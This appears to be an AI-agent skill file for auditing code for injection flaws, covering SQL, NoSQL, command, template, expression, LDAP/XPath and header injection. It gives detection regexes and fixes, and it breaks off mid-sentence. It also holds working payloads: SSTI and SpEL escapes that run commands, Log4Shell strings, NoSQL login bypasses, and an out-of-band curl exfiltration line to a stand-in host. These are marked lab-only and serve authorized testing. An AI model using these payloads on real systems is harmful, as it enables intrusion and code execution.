Imported from AS-FOSS/aegis-skills (
skills/code/injection/SKILL.md). Install upstream withnpx skills add AS-FOSS/aegis-skills --skill injection. Copyright stays with the author.
Injection Checks (INJ)
Scope & Objectives
- Cover the complete injection family in one pass: SQL injection (CWE-89), NoSQL/query-logic injection (CWE-943), OS command and argument injection (CWE-78/CWE-77), server-side template injection (CWE-1336), code/expression-language evaluation including EL/SpEL/OGNL/JNDI (CWE-94/CWE-95/CWE-917), LDAP (CWE-90), XPath (CWE-643), and header/CRLF/log injection (CWE-74/CWE-117).
- Languages in scope: JavaScript/TypeScript (Node, Express/Fastify/NestJS), Python (Django/Flask/FastAPI), Java/Kotlin (Spring/Jakarta), C# (ASP.NET Core), PHP (Laravel/Symfony/raw), Ruby (Rails), Go, plus SQL dialects (MySQL, PostgreSQL, MSSQL, SQLite). Rust, Swift, C, and C++ are not meaningfully applicable to this module's sink inventory and are skipped beyond noting their argv-array exec patterns resemble Go's.
- Deliverables per finding: sink location, tainted source, propagation path, injection context (data value vs identifier vs argv vs expression vs header), exploitability rating from static/offline reasoning, and a concrete fix.
- Assume code-read access only. Dynamic payloads in Exploitation & Reproduction are for authorized lab verification, never for production systems during a static audit.
- Out of scope: DOM-only XSS, unsafe-deserialization gadget chains (separate module), SSRF (unless reached through command/template injection).
Prerequisites & Vocabulary
Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
- source: where attacker-supplied data enters the program (URL params, body fields, headers)
- sink: the dangerous function attacker data must never reshape (query executor, shell runner, template renderer)
- parameterized query: database call that keeps the SQL text fixed and passes values separately, so input cannot change its meaning
- allowlist: a fixed list of permitted values; anything not on it is rejected
- stacked queries: two SQL statements smuggled into one call, letting an attacker run extra statements
- second-order injection: data stored safely today that turns harmful when reused later in another query or template
- payload: crafted input submitted to prove whether a suspected bug is real
- taint flow / source→sink: path untrusted data travels from entry point to dangerous function
- finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md
Mental Model
Every injection is one bug class: attacker-controlled data crosses a language boundary and changes the meaning of a program artifact (a query, a command line, a template, an expression, a header block). Trace three roles:
- Source — attacker data entry: HTTP params/body/headers/cookies, websocket frames, queue messages, uploaded filenames/content, DNS names, second-order values read back from the DB.
- Propagator — concatenation
+, f-strings,%/.format, template literals${},StringBuilder.append,fmt.Sprintf,sprintf,#{}interpolation,CONCAT, storage-then-reuse. - Sink — interpreter boundary: driver
execute,child_process, template parse/render,eval/EL parser, LDAP/XPath evaluator, header writer.
The sink's context grammar determines the break-out sequence:
| Sink context | Grammar boundary | Break-out primitive |
|---|---|---|
| SQL string literal | ' or " |
' OR '1'='1 / '; -- |
| SQL numeric context | unquoted | 1 OR 1=1 / 1;-- |
| SQL identifier (ORDER BY/table/column) | cannot be parameterized | allowlist only |
| Shell command line (shell=true) | ` $ ; ` |
& >` newline |
| argv array (no shell) | argument parser flags | leading -/-- tokens |
| Template body | {{ }} {% %} ${} <% %> |
{{7*7}} |
| Expression language | expression delimiters | T(...), %{...}, #{...} |
| MongoDB filter object | keys beginning with $ |
{"$gt":""} |
| LDAP filter (RFC 4515) | * ( ) \ NUL |
* / `)(uid=))( |
| XPath 1.0 predicate | ' " [ ] |
' or '1'='1 |
| HTTP header value / log line | CR LF | %0d%0a / \n |
Detection vs exploitation: during a static audit you prove constructability — show attacker bytes reach the sink unneutralized and predict the observable effect (delay, error string, data diff, out-of-band callback). Fire live payloads only against authorized staging/lab instances.
Second-order rule: the database is a propagator. A value stored safely today can be concatenated into SQL/logs/templates next week. Trace sinks back to origin, not to the nearest variable.
What To Check
SQL
- Scan every execution site for string-built statements:
+, f-strings,%,.format, template literals,StringBuilder,sprintf,#{}. - Trace every ORM raw-query escape hatch: Django
raw()/extra(); SQLAlchemytext(); Sequelizeliteral()/query(); Knex.raw(); TypeORM.query()and Prisma$queryRawUnsafe; HibernatecreateSQLQuery/createNativeQuery; Spring Data@Query(nativeQuery=true); JdbcTemplate; GORMRaw/Order; Railsfind_by_sql/Arel.sql; LaravelDB::raw/whereRaw/orderByRaw; EF CoreFromSqlRaw. - Flag dynamic identifiers — ORDER BY/GROUP BY direction, table/column names built from request data. Parameterization cannot protect identifiers; demand allowlist maps.
- Check LIKE clauses for user input in the pattern without escaping
%/_and without anESCAPEclause. - Hunt second-order SQLi: values written safely, later concatenated elsewhere (reports, exports, admin tools, cron jobs).
- Inspect "parameterized" code for done-wrong variants: interpolating before
execute,.replace(":id", x)placeholder substitution, IN-lists joined from raw values, LIMIT/OFFSET string-bound then fallback-concatenated. - Record the DB dialect to predict stacked-query support and comment syntax (see dialect table below).
- Check Unicode handling on validation boundaries: normalize (
NFC) before allow-list checks, or attackers slip NFD/fullwidth variants past a denylist that later collapse into dangerous characters downstream (same lesson as FILE's filename normalization, applied to every validated field).
NoSQL
- Scan Express/Fastify/NestJS handlers passing
req.body/req.queryobjects directly into mongoosefind/findOne/updateOne/countDocuments— operator injection ($gt,$ne,$regex,$where,$function). - Verify request schemas (zod/joi/express-validator) coerce every filter field to scalar types before the driver sees it.
- In PHP, flag controllers forwarding array params (
?user[$ne]=x) from$_GET/$_POSTinto Mongo filters. - Flag
$where/$function/$accumulatoranywhere — server-side JavaScript; user influence is critical. - Review Redis usage for Lua scripts (
eval/EVALSHA) built by concatenation, and user-controlled key names crossing tenant prefixes. - Review CouchDB
_findselectors and_viewstartkey/endkey/keysparams for raw user JSON widening reads past tenant boundaries.
OS command
- Scan shell-interpreter sinks: Node
exec/execSync/spawn(shell:true); Pythonos.system/os.popen/subprocess(shell=True); PHPsystem/exec/passthru/shell_exec/proc_open/popen/backticks; Ruby backticks/system(str)/IO.popen/Kernel#open("|cmd")/%x{}; JavaRuntime.exec(String); C#ProcesswithUseShellExecute=true; Goexec.Command("sh","-c",...). - For argv-array sinks without a shell, hunt argument injection: user-controlled elements beginning with
-or--. - Audit privileged wrappers around
sudo,tar,find,git,ssh,curl,rsync,zip, pagers — enumerate which flags the attacker controls. - Verify upload-derived filenames are reduced to basenames and allowlist-validated before converters (ImageMagick, LibreOffice, wkhtmltopdf, ffmpeg, pandoc).
SSTI
- Find every place user text reaches template compilation:
render_template_string, Jinja2Environment.from_string,django.template.Template(text), MakoTemplate(text), TwigcreateTemplate, Smartystring:resources, FreeMarker processing user-named templates, Velocityevaluate(...), Thymeleaf user-controlled view names, ERBERB.new(user).result, Handlebars/Mustache compile of user strings, LiquidTemplate.parse(user). - Distinguish data-vs-code: user text as a variable is safe; as template source or template name is the vulnerability.
- Check sandbox configs (Jinja2
SandboxedEnvironment, FreeMarker restricted wrappers, Twig sandbox, Smarty$security_policy) for weak allowances.
Code / expression evaluation
- Scan for
eval,new Function,exec,compile,vm.runIn*,instance_eval,send,constantize,call_user_func,assert(PHP string form pre-8.0),create_function(removed PHP 8.0),preg_replace(/e)(removed PHP 7.0),ScriptEngine.eval, GraalVMContext.eval,CSharpScript. - Scan Python
str.formatcalls whose format string is user-owned (mail merge, notifications, i18n) for attribute-chain escape ({0.__class__}). - Flag
SpelExpressionParser+StandardEvaluationContextfed request data; Struts OGNL evaluation of%{...}from input;InitialContext.lookup(userUrl). - Flag Log4j 2.x (<=2.14.1) logging of attacker-controlled strings (headers, form fields, user agents) — JNDI lookup trigger.
- Go: flag
text/templateoutput rendered as HTML andtemplate.HTML(userInput)casts;html/templatecontextual autoescaping is the safe default.
LDAP & XPath
- Scan LDAP filter construction for concatenated input across python-ldap/ldap3, Jakarta
DirContext.search,ldapjs, PHPldap_search, go-ldap, .NETDirectorySearcher. - Scan XPath evaluators (lxml
.xpath,javax.xml.xpath,DOMXPath->query, .NETXPathSelectElements) for predicates assembled from input. - Confirm RFC 4515 escaping (
* ( ) \NUL) or XPath variable bindings exist wherever filters/predicates are dynamic.
Header / CRLF / log
- Trace request-derived values into response headers (
Location,Set-Cookie,Refresh, custom), redirect targets, and hand-rolled socket writing. - Trace request-derived values into log calls; flag embedded CR/LF/control characters forging log lines.
- Test URL-path reflection for
%0d%0apass-through at proxies/gateways (app frameworks usually block it; intermediaries historically did not).
Sanitizers that don't work
- Flag reliance on:
addslashes, magic_quotes remnants, keywordstr_replaceblacklists,htmlentitiesused against SQL,FILTER_SANITIZE_STRING, client-side-only validation, WAF-only protection,escapeshellargunder cmd.exe, client-side$-key stripping for MongoDB without schema casting.
Where To Look
| Feature / route smell | Typical locations | Likely injection |
|---|---|---|
Search/list endpoints with sort, order, filter, q params |
controllers, views.py, *_controller.rb, JAX-RS/Spring resources |
SQL identifier injection |
| Login / password reset / token validation | auth services, models/User*, AccountController |
SQLi, NoSQL auth bypass, LDAP |
| Export / reporting / CSV / PDF generation | exporters, reports, admin panels | second-order SQLi, command injection |
| Admin CRUD with table/column choosers | generic grid components, dashboards | identifier SQLi |
| Upload → thumbnail/convert pipeline | media services, celery/sidekiq/bull tasks | command injection (ImageMagick et al.) |
| Webhook receivers, importers, ETL workers | webhooks/, integrations/, jobs/ | second-order SQLi, template/eval |
| Mail/notification templating, mail-merge | templates/, notifiers | SSTI, Python format-string, EL injection |
| Redirectors, OAuth callbacks, locale routers | redirect controllers, gateway configs | CRLF/header injection, Thymeleaf view-name SSTI |
| Directory lookup / SSO / AD sync | LDAP connectors | LDAP injection |
| XML import/export, SOAP clients, SAML-lite parsers | xml utils | XPath injection |
| Deploy/git/release tooling, CI-trigger endpoints | ops endpoints, git wrappers | command + argument injection (git, tar, find) |
| Audit/access logging of user input | middleware, interceptors, logger.* calls |
log injection, Log4shell-style JNDI |
Discovery sweeps (repo root):
rg --files -g '*.py' -g '*.rb' -g '*.php' -g '*.go' -g '*.java' -g '*.kt' -g '*.cs' -g '*.ts' -g '*.js'
rg -n "sort|orderBy|order\(|direction" --type js --type py -g '!node_modules' -g '!*test*'
rg -n "exec|system|popen|spawn|Process" -g '!node_modules' -g '!vendor' -g '!dist'
rg -n "render_template_string|from_string|ERB.new|Velocity|Freemarker|Twig|Smarty" -g '!vendor'
Patterns & Signatures
SQL sink matrix (Language | Dangerous API/Sink | Safe alternative)
| Language | Dangerous API/Sink | Safe alternative |
|---|---|---|
| JS/TS (mysql2/pg) | conn.query("..."+x), template literals with ${} |
conn.query("... = ?", [x]) / $1 binds |
| JS/TS (Sequelize) | sequelize.literal(x), sequelize.query("..."+x) |
{ replacements: [x] } named binds |
| JS/TS (Knex) | .whereRaw("..."+x), .orderByRaw(x) |
.where(col,x); allowlist map + .orderBy(col) |
| JS/TS (TypeORM) | .query("..."+x), $queryRawUnsafe(x), $executeUnsafe |
$queryRaw tagged template (auto-bind), QueryBuilder |
| JS/TS (Prisma) | $queryRawUnsafe, $executeUnsafe |
$queryRaw tagged template |
| JS/TS (mongoose) | Model.where("$where", js), raw body filters |
scalar-cast filters; sanitizeFilter: true |
| Python (DBAPI) | cur.execute("...%s" % x), execute(f"...{x}") |
cur.execute("...%s", (x,)) or ? (sqlite3) |
| Python (Django) | objects.raw(f"..."), extra(where=[... % x]), .extra(select=...) |
ORM filters; raw(sql, params=[x]) if unavoidable |
| Python (SQLAlchemy) | text(f"... {x}") |
text("... :p").bindparams(p=x) |
| Java (JDBC) | Statement.executeQuery("..."+x) |
PreparedStatement + setString/setInt |
| Java (JPA/Hibernate) | createNativeQuery("..."+x), deprecated createSQLQuery, HQL concat |
positional/named params (?1, :p) |
| Java (Spring Data) | @Query(nativeQuery=true) with concat; Sort.by(rawParam) |
:param binds; allowlisted Sort.by(col) |
| Java (Spring Jdbc) | JdbcTemplate.query("..."+x, ...) |
NamedParameterJdbcTemplate |
| C# (ADO.NET) | new SqlCommand("..."+x, cn) |
Parameters.AddWithValue("@p", x) |
| C# (EF Core) | FromSqlRaw($"...{x}") (raw ignores interpolation) |
FromSqlInterpolated($"...{x}") auto-parameterizes |
| C# (Dapper) | cn.Query($"... {x}") |
cn.Query("... = @p", new { p = x }) |
| PHP (raw) | $pdo->query("...".$x), query(sprintf(...)) |
prepare + execute([$x]); PDO::ATTR_EMULATE_PREPARES => false |
| PHP (Laravel) | DB::select(DB::raw(...)), whereRaw($req), orderByRaw($req) |
Query Builder where; allowlist + orderBy($col) |
| PHP (Doctrine) | createNativeQuery concat, DQL concat |
DQL :param binds |
| Ruby (Rails) | find_by_sql("...#{x}"), where("n = '#{x}'"), order(Arel.sql(param)), update_all("c=#{x}") |
where(n: x); find_by_sql([sql, x]); allowlisted symbols in order |
| Go (database/sql) | db.Query(fmt.Sprintf("...'%s'", x)), db.Exec("..."+x) |
db.Query("... = $1", x) |
| Go (GORM) | db.Raw("..."+x), db.Where(fmt.Sprintf(...)), unvalidated db.Order(input) |
db.Where("col = ?", x); allowlist for Order |
Dynamic-identifier signature — flag every hit:
(?i)(from|join|order\s+by|group\s+by|table|column)\s*['"`]?\s*(\+\s*\w+|\$\{|#\{|\.format\(|f["']|%s)
LIKE defect shape and fix:
-- VULNERABLE: user q spliced into pattern, wildcards live
SELECT * FROM items WHERE name LIKE '%' || :q || '%'; -- Postgres concat example
-- FIXED: escape wildcards in application code, declare escape char
SELECT * FROM items WHERE name LIKE :p ESCAPE '\';
-- app side: :p = "%" + q.replace(/\[%_\\]/g, "\\$&") + "%"
Dialect notes for exploitation prediction:
| Dialect | Comment | Delay primitive | Stacked queries | Notes |
|---|---|---|---|---|
| MySQL/MariaDB | -- -, # |
SLEEP(5), BENCHMARK(5000000,MD5(1)) |
only via multi_query API or PDO emulate-prepares ON |
backtick identifiers; information_schema; LOAD_FILE needs FILE priv |
| PostgreSQL | -- |
pg_sleep(5) |
accepted in simple-query mode by libpq-based drivers | double-quote identifiers; :: casts; COPY ... PROGRAM needs superuser |
| MSSQL | -- |
WAITFOR DELAY '0:0:5' |
yes — most drivers batch by default | [bracket] identifiers; verbose errors; xp_cmdshell often disabled |
| SQLite | -- |
no sleep builtin (randomblob(N) loops) |
multi-statement via exec-style APIs | terse errors; ATTACH DATABASE file-write trick |
Parameterization-done-wrong gallery (each is vulnerable despite looking safe):
cur.execute("SELECT * FROM u WHERE id = %s" % uid) // VULNERABLE formatted before driver sees it
cur.execute("SELECT * FROM u WHERE id = %s", (uid,)) // FIXED
db.query(sql.replace(":id", req.params.id)); // VULNERABLE hand-made placeholder
db.query("...id IN (" + ids.map(_=>"?").join(",") + ")", ids); // FIXED placeholders generated, values bound
ps = c.prepareStatement("SELECT * FROM u WHERE n = '" + n + "'"); // VULNERABLE pre-concatenated
ps = c.prepareStatement("SELECT * FROM u WHERE n = ?"); // FIXED
Second-order tell: sink string parts originate from model.getAttribute(...), row["name"], ORM-loaded entities — not from the current request.
NoSQL signatures
(\$where|\$function|\$accumulator|\$regex)|\$ne\s*:|\bfind(?:One)?\s*\(\s*(req\.body|req\.query|request\.(GET|POST)|\$_(GET|POST))
// VULNERABLE: body object used as filter verbatim -> {"email":{"$gt":""},"password":{"$ne":1}}
const u = await User.findOne({ email: req.body.email, password: req.body.password });
// FIXED: coerce to scalars; enable sanitizeFilter at connection or per query
const email = String(req.body.email ?? "");
const pw = String(req.body.password ?? "");
const u = await User.findOne({ email }).select("+password");
if (!u || !(await u.comparePassword(pw))) return res.status(401).end();
// plus: mongoose.set("sanitizeFilter", true)
- PHP array-param confusion:
?email[$ne]=1&password[$regex]=^aturns$_GET['email']into an array; flag uncast forwarding. - Redis: flag
r.eval("return redis.call('get','"..k.."')")— Lua injection; pass user data asARGV/KEYS. User-controlled key suffixes crossing tenant prefixes = broken access control; note alongside. - CouchDB: flag
_findselectors and_view?key=/startkey=/endkey=built from raw user JSON — range widening leaks other tenants.
OS command signatures
(?i)(child_process\.exec|execSync|spawnSync\(|shell:\s*true|shell\s*=\s*True|os\.(system|popen)|(system|passthru|shell_exec|proc_open|popen)\s*\(|%x\{|Runtime\.getRuntime\(\)\.exec|UseShellExecute\s*=\s*true|IO\.popen|Open3\.capture2?\w*\(|exec\.Command\("sh",\s*"-c")
Matrix (Language | Dangerous API/Sink | Safe alternative):
| Language | Dangerous API/Sink | Safe alternative |
|---|---|---|
| JS/TS | child_process.exec, execSync, spawn(cmd,{shell:true}), execa shell mode |
execFile/spawn argv array, shell:false, timeout |
| Python | os.system, os.popen, subprocess.*(cmd_str, shell=True) |
subprocess.run([...], shell=False, check=True) |
| Java/Kotlin | Runtime.exec(String) whitespace-split (arg-injectable) |
ProcessBuilder(List); still validate flags |
| C# | Process.Start with UseShellExecute=true (.NET Framework default true; .NET Core default false) |
ArgumentList, UseShellExecute=false |
| PHP | system, exec, passthru, shell_exec, `cmd`, proc_open string cmd, popen |
fixed binary + per-operand escaping, or argv-array proc_open |
| Ruby | backticks, %x{}, system(str), IO.popen(str), `Kernel#open(" |
cmd")` |
| Go | exec.Command("sh","-c", input) |
exec.Command(bin, args...) — stdlib never uses a shell |
Argument-injection without a shell — dangerous "safe" wrappers:
| Wrapper | Attack surface | Guard |
|---|---|---|
sudo <tool> <userArgs> |
flag injection executes as root | allowlist every arg; reject --leading tokens where an operand is expected; prefer purpose-built helper running unprivileged |
tar |
--checkpoint=1 --checkpoint-action=exec=<cmd> (root RCE if wrapper privileged) |
fixed option set; validate member names; drop privileges |
find |
-exec cmd ;, -fprintf /path file |
reject all --prefixed user tokens; build the expression yourself |
git clone/fetch/push on user URL |
ext::sh -c <cmd> transport |
pin -c protocol.ext.allow=never; allow only https/ssh schemes |
ssh with user-controlled host/options |
-oProxyCommand=sh -c ... |
never pass user data as options; use ssh library APIs |
curl/wget |
-o /etc/cron.d/x overwrite, -K configfile read |
fixed output paths; scheme restrictions (--proto); reject --leading args |
rsync, zip, less pager |
-e remote-shell option, --unzip-command, pager !cmd |
argv allowlist; PAGER=cat; GIT_PAGER=cat |
SSTI signatures
(?i)(render_template_string|from_string|createTemplate|ERB\.new|VelocityEngine|freemarker|Twig\\?->|Environment\\?->createTemplate|Smarty|Thymeleaf|Liquid::Template|Handlebars\.compile|Mustache\.render|\.process\(|evaluate\(.*input)
| Engine | Detection payload | Proves engine when output shows | Brief escape (lab only) |
|---|---|---|---|
| Jinja2 | {{7*'7'}} |
7777777 |
{{ lipsum.__globals__.os.popen('id').read() }} |
| Jinja2 alt probe | {{7*7}} |
49 |
{{ cycler.__init__.__globals__.os }} |
| Twig | {{7*7}} |
49 |
older Twig <=2.x: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Mako | ${7*7} |
49 |
<%import os%>${os.popen('id').read()} (full Python in expressions) |
| Django templates | {{7*7}} |
literal text (no arithmetic) | weak: attribute traversal on exposed vars (settings leak); still flag Template(user_text) |
| Smarty | {$smarty.version} |
version string | {if system('id')}{/if} when security policy off |
| FreeMarker | ${7*7} |
49 |
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} unless scripts restricted |
| Velocity | #set($x=7*7)$x |
49 |
#set($s="")#set($c=$s.getClass())$c.forName("java.lang.Runtime").getRuntime().exec("id") |
| Thymeleaf | __${7*7}__ in view/fragment name |
preprocessing resolves | __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x when view name is user-controlled |
| ERB | <%= 7*7 %> |
49 |
<%= system('id') %> |
| Liquid | `{{ 7 | times: 7 }}` | 49 |
Key audit distinction: render_template("page.html", name=user_input) is data binding (safe); render_template_string(user_input) / Template(user_input).render() is code execution (vulnerable).
Code / expression evaluation signatures
(?i)(\beval\s*\(|new\s+Function\s*\(|runIn(New|This)Context|instance_eval|constantize|call_user_func|create_function|preg_replace\s*\(.*/e|assert\s*\(\s*"|SpelExpressionParser|StandardEvaluationContext|OGNL|ScriptEngineManager|getEngineByName|polyglot\.Context|CSharpScript|InitialContext\s*\(|\.lookup\s*\()
Concrete sinks and payloads (Language/lib | Sink | Illustrative payload | Safe replacement):
| Language/lib | Sink | Illustrative payload | Safe replacement |
|---|---|---|---|
| Node | eval(s), new Function(s), vm.runInNewContext(s) |
require('child_process').exec('id') inside s |
schema + dispatch table; note vm is NOT a security boundary |
| Python | eval, exec, compile |
__import__('os').system('id') |
ast.literal_eval; mapping tables |
| Python | fmt.format() with user-owned format string |
{0.__init__.__globals__}[SECRET_KEY] |
never let user own format string; concatenate instead |
| Java | SpelExpressionParser + StandardEvaluationContext |
T(java.lang.Runtime).getRuntime().exec('id') |
SimpleEvaluationContext (no type refs/beans) or remove parser |
| Java | InitialContext.lookup(url) |
attacker-chosen ldap://host/o |
hardcode registry URLs; strict allowlist |
| Log4j <=2.14.1 | logger.info(userStr) |
${jndi:ldap://host/x}; evasions ${${lower:j}ndi:ldap://host/x}, ${${::-j}ndi:${::-l}dap://host/x} |
upgrade >=2.17.1; disable message lookups |
| Struts/OGNL | value-stack/tag evaluation of input | %{@java.lang.Runtime@getRuntime().exec('id')} |
upgrade framework; never evaluate input as OGNL |
| Jakarta EL | EL resolver over user text | ${Runtime.getRuntime().exec('id')} (context-dependent) |
treat input as text only |
| Ruby | eval, send(m,...), constantize on request data |
send(:eval, s) |
whitelist maps: HANDLER = {"a"=>method(:a)} |
| PHP | eval, assert("...") string form (<=7.x), create_function (removed 8.0), preg_replace(/e) (removed 7.0) |
eval($_GET['c']) |
remove; dispatch tables |
| C# | CSharpScript.EvaluateAsync(user) (Microsoft.CodeAnalysis.CSharp.Scripting) |
script calling System.Diagnostics.Process.Start |
remove scripting; restricted host policy |
| GraalVM | Context.newBuilder("js").allowAllAccess(true).eval(src) |
JS host access into JVM | minimal allowHostAccess, never allowAllAccess |
| Go | text/template rendered as HTML; template.HTML(userInput) |
crafted data invoking template funcs/methods | html/template contextual escaping; never mark raw |
Deserialization-adjacent eval: flag pickle.loads, yaml.load without Loader=SafeLoader, PHP unserialize of request data, Java native readObject — they reach code execution like eval; report under this category's CWE-94 umbrella with a cross-reference.
LDAP & XPath signatures
(?i)(ldap_(search|list|read|bind|first_attribute)|DirectorySearcher|DirContext|SearchControls|ldapjs|XPathFactory|xPath\.evaluate|XPath\.compile|DOMXPath|XPathSelectElement|\.xpath\s*\()
conn.search(BASE, "(uid=%s)" % uid) // VULNERABLE payload: *)(uid=*))(|(uid=*
conn.search(BASE, "(uid=%s)" % rfc4515_escape(uid)) // FIXED escape * ( ) \ NUL
XPathFactory.newInstance().newXPath().evaluate("//user[name='" + u + "']", doc); // VULNERABLE
// FIXED: xpath.compile("//user[name=$u]") + XPathVariableResolver binding
Blind probes (boolean differential): LDAP x)(cn=a* vs x)(cn=b*; XPath ' and starts-with(name(),'a') and '1'='1.
Header / CRLF / log signatures
(\\r\\n|%0d%0a|%0D%0A)|(?i)((set|add|append|put)Header\s*\(\s*["'](Location|Refresh|Set-Cookie)|writeHead\([^)]*\+|header\s*\(\s*["'](Location|Refresh))
- Modern Node
res.setHeader, PHPheader()(>=5.1.2), most frameworks reject bare CR/LF — hunt instead: hand-written sockets, mail-header assembly, reverse-proxy layers, embedded HTTP servers, values flowing unvalidated intoLocation:redirects. - Log injection: flag
logger.info(request.headers["user-agent"])-style calls; payload\n2026-01-01 INFO auth success user=adminforges entries. Fix: structured JSON logging + control-char stripping.
Sanitizers that don't work (flag each as a defect)
| Broken "sanitizer" | Why it fails | Correct control |
|---|---|---|
addslashes (PHP) |
GBK/Big5 multibyte: lead byte 0xbf swallows added backslash leaving live quote (%bf%27 bytes) |
PDO/mysqli prepared statements; correct charset in DSN, not via SET NAMES query |
| magic_quotes_* (PHP <=5.3, removed 5.4) | blanket escaping, wrong contexts | delete legacy shims |
str_replace("'","",x) / keyword blacklists |
deletion enables double-application tricks (SELSELECTECT -> SELECT after naive removal) |
parameterization |
htmlentities/htmlspecialchars against SQL |
wrong layer; encodes HTML grammar, not SQL | parameterization |
FILTER_SANITIZE_STRING (deprecated) |
lossy, grammar-blind | typed validation + binding |
escapeshellarg under cmd.exe |
quoting semantics differ; %VAR%, ^, delayed expansion survive |
avoid cmd.exe; argv arrays |
client-side $-key stripping for Mongo |
misses dotted keys/type confusion; middleware gaps | schema coercion + sanitizeFilter |
| WAF-only protection | double URL-encoding (%2527), JSON unicode escapes, chunked encoding, HPP, dialect quirks bypass it |
detective control only; never sole defense |
JS x.replace(/['"]/g,"") |
context-insensitive munging | parameterization |
PHP loose comparison (==, in_array($x, $arr) non-strict) |
'0e123' == '0e456' is true (magic-hash style: both parse as scientific-notation zero, so such digest strings collide under ==); int-vs-string juggling pre-8.0 also miscompares |
strict ===/!==; in_array(..., true); hash_equals() for digests |
Taint Tracing Guidance
Run this procedure per candidate flow:
- Enumerate sources:
req.query/body/params/headers/cookies; Flaskrequest.values; Djangorequest.GET/POST; Spring@RequestParam/@PathVariable/@RequestBody; ServletgetParameter*; PHP$_GET/$_REQUEST/php://input; Rails/Sinatraparams[...]; Gor.URL.Query()/r.FormValue; GraphQL resolver args; queue/webhook payloads; uploaded filenames and content; DB-read values (second-order). - Mark propagators along the path: concatenation, interpolation (
${}/#{}/f-strings), format calls,StringBuilder/StringBuffer,Array.join, JSON serialization into query objects, ORM pass-through wrappers (literal,Raw,Arel.sql,$queryRawUnsafe), storage round-trips. - Identify the sink's grammar — data value, identifier, argv element, expression, or header line — because that defines which neutralization is even meaningful.
- Classify interceptors: true neutralizers are driver parameter binding, argv arrays without shell, closed allowlist map lookups, bounded numeric casts, RFC 4515 escaping, XPath variable binding, template data-binding APIs.
- Check coverage gaps: values parameterized but ORDER BY concatenated; IN-lists joined; LIMIT/OFFSET string-typed then fallback-concatenated; one route fixed while a sibling admin route shares the sink.
- Resolve second-order flows: follow stored values to every later sink; a safe INSERT does not clear taint.
- Rate exploitability statically: context (literal vs identifier), sink-process privilege (DB FILE priv, xp_cmdshell, sudo wrappers), auth prerequisite, observable channel (error echo, timing, OOB egress).
- Record the chain as
source(file:line) -> propagators -> sink(file:line) -> context -> predicted effect; this feeds Severity Assessment and Verification.
Exploitation & Reproduction
Execute ONLY against authorized staging/lab targets. Each step states goal, exact command, expected observable. Static-only engagements: use the static-confirmation subsection at the end.
- SQLi — locate injectable parameter.
curl -si -G https://TARGET/items --data-urlencode "q=x'"→ Expect a 500 with a driver error string (SQLite3::SQLException,You have an error in your SQL syntax,unterminated quoted string,Unclosed quotation mark) proving grammar control; benign identical output means move on. - SQLi — boolean differential (blind).
curl -s -G TARGET/search --data-urlencode "q=x' AND '1'='1" | wc -cversus"q=x' AND '1'='2"→ differing byte counts prove conditional evaluation. - SQLi — time-based confirmation.
MySQL:
q=x' AND SLEEP(5)-- -; PostgreSQL:q=x'; SELECT pg_sleep(5)--; MSSQL:q=x' WAITFOR DELAY '0:0:5'--. Measure:curl -s -o /dev/null -w '%{time_total}\n' -G TARGET/search --data-urlencode "q=x' AND SLEEP(5)-- -"→ ~5.0s vs ~0.05s baseline across 3 runs = confirmed. - SQLi — stacked queries (driver/dialect permitting; MSSQL typical).
Lab-only capability probe:
q=x'; EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'--→ 5s delay indicates OS-command surface (requires xp_cmdshell enabled + sysadmin role). - SQLi — data extraction (lab).
Union-based:
q=x' UNION SELECT NULL, table_name FROM information_schema.tables-- -→ schema names in output; iterate columns the same way. - NoSQL — operator-injection auth bypass.
curl -s -X POST TARGET/login -H 'Content-Type: application/json' -d '{"email":{"$gt":""},"password":{"$ne":"zzz"}}'→ 200/session cookie where credentials were required = bypass. Extraction oracle:{"password":{"$regex":"^a"}}cycling characters, watching 200/401 flips per guess. - NoSQL — server-side JS via $where (lab).
Filter accepting user text into
$where: submit{"$where":"var d=Date.now()+5000;while(Date.now()<d){};true"}→ ~5s response delay confirms JS execution inside mongod. - Command injection — blind time-based.
Filename field:
report.tar.gz; sleep 5, backticksreport`sleep 5`.gz, substitutionreport$(sleep 5).gz, newline-encodedreport%0asleep%205.curl -s -o /dev/null -w '%{time_total}\n' -F "file=report.tar.gz;sleep 5" TARGET/upload→ ~5s delay with no egress required. - Command injection — OOB confirmation (egress available).
Payload
x; curl http://CANARD.oob.example/$(whoami)→ canary DNS/HTTP hit containingwhoamioutput confirms execution and exfil channel. - Argument injection (no shell).
User data reaching argv of a privileged wrapper: submit
--checkpoint=1 --checkpoint-action=exec=/bin/idto a tar wrapper, or-oProxyCommand=curl CANARD.oob.exampleinto an ssh wrapper → canary callback / observed process = critical confirmation. - SSTI — detect then escalate (lab only).
Submit
{{7*7}}(and engine variants from the SSTI table) into rendered fields → arithmetic result (49,7777777) rendered proves template evaluation; escalate with that engine's escape row only on isolated instances. Expected observable: computed value appears in page body where text was expected. - SpEL / OGNL / EL (lab).
Endpoint persisting or echoing evaluated expressions: submit
T(java.lang.Thread).sleep(5000)(SpEL timing oracle) thenT(java.lang.Runtime).getRuntime().exec('touch /tmp/pwn'); OGNL%{@java.lang.Thread@sleep(5000)}. Expected: delay, then/tmp/pwnexists / process visible. - JNDI (Log4shell-style, lab).
curl -si TARGET/ -H 'X-Api-Version: ${jndi:ldap://CANARD.oob.example/x}'(repeat for User-Agent and form fields; try${${lower:j}ndi:...}obfuscation) → canary LDAP/DNS hit confirms lookup resolution. - CRLF — response splitting probe.
curl -si "TARGET/redirect?url=%0d%0aSet-Cookie:%20injected=1"→ response carriesSet-Cookie: injected=1header = header injection. Also test literal\r\n, bare%0a, and repeat through the gateway hostname (intermediaries differ from app behavior). - Log injection probe (staging).
Submit User-Agent
probe\nFAKE-ERROR auth-failure user=admin→ pull logs; a forged line boundary confirms CWE-117 exposure. - LDAP / XPath (lab).
Directory login: user value
*(wildcard match → login succeeds for first entry) oradmin)(&(filter parse failure → distinct error) confirms injection. XPath login: password' or '1'='1against predicate[name='U' and pw='P']returns all users → bypass.
Confirming statically when no runtime exists
- Import the project's query/command builder into a harness; mock the driver/connection to capture the final artifact (monkeypatch
cursor.executeto record SQL; stubchild_process). - Push a payload corpus through it:
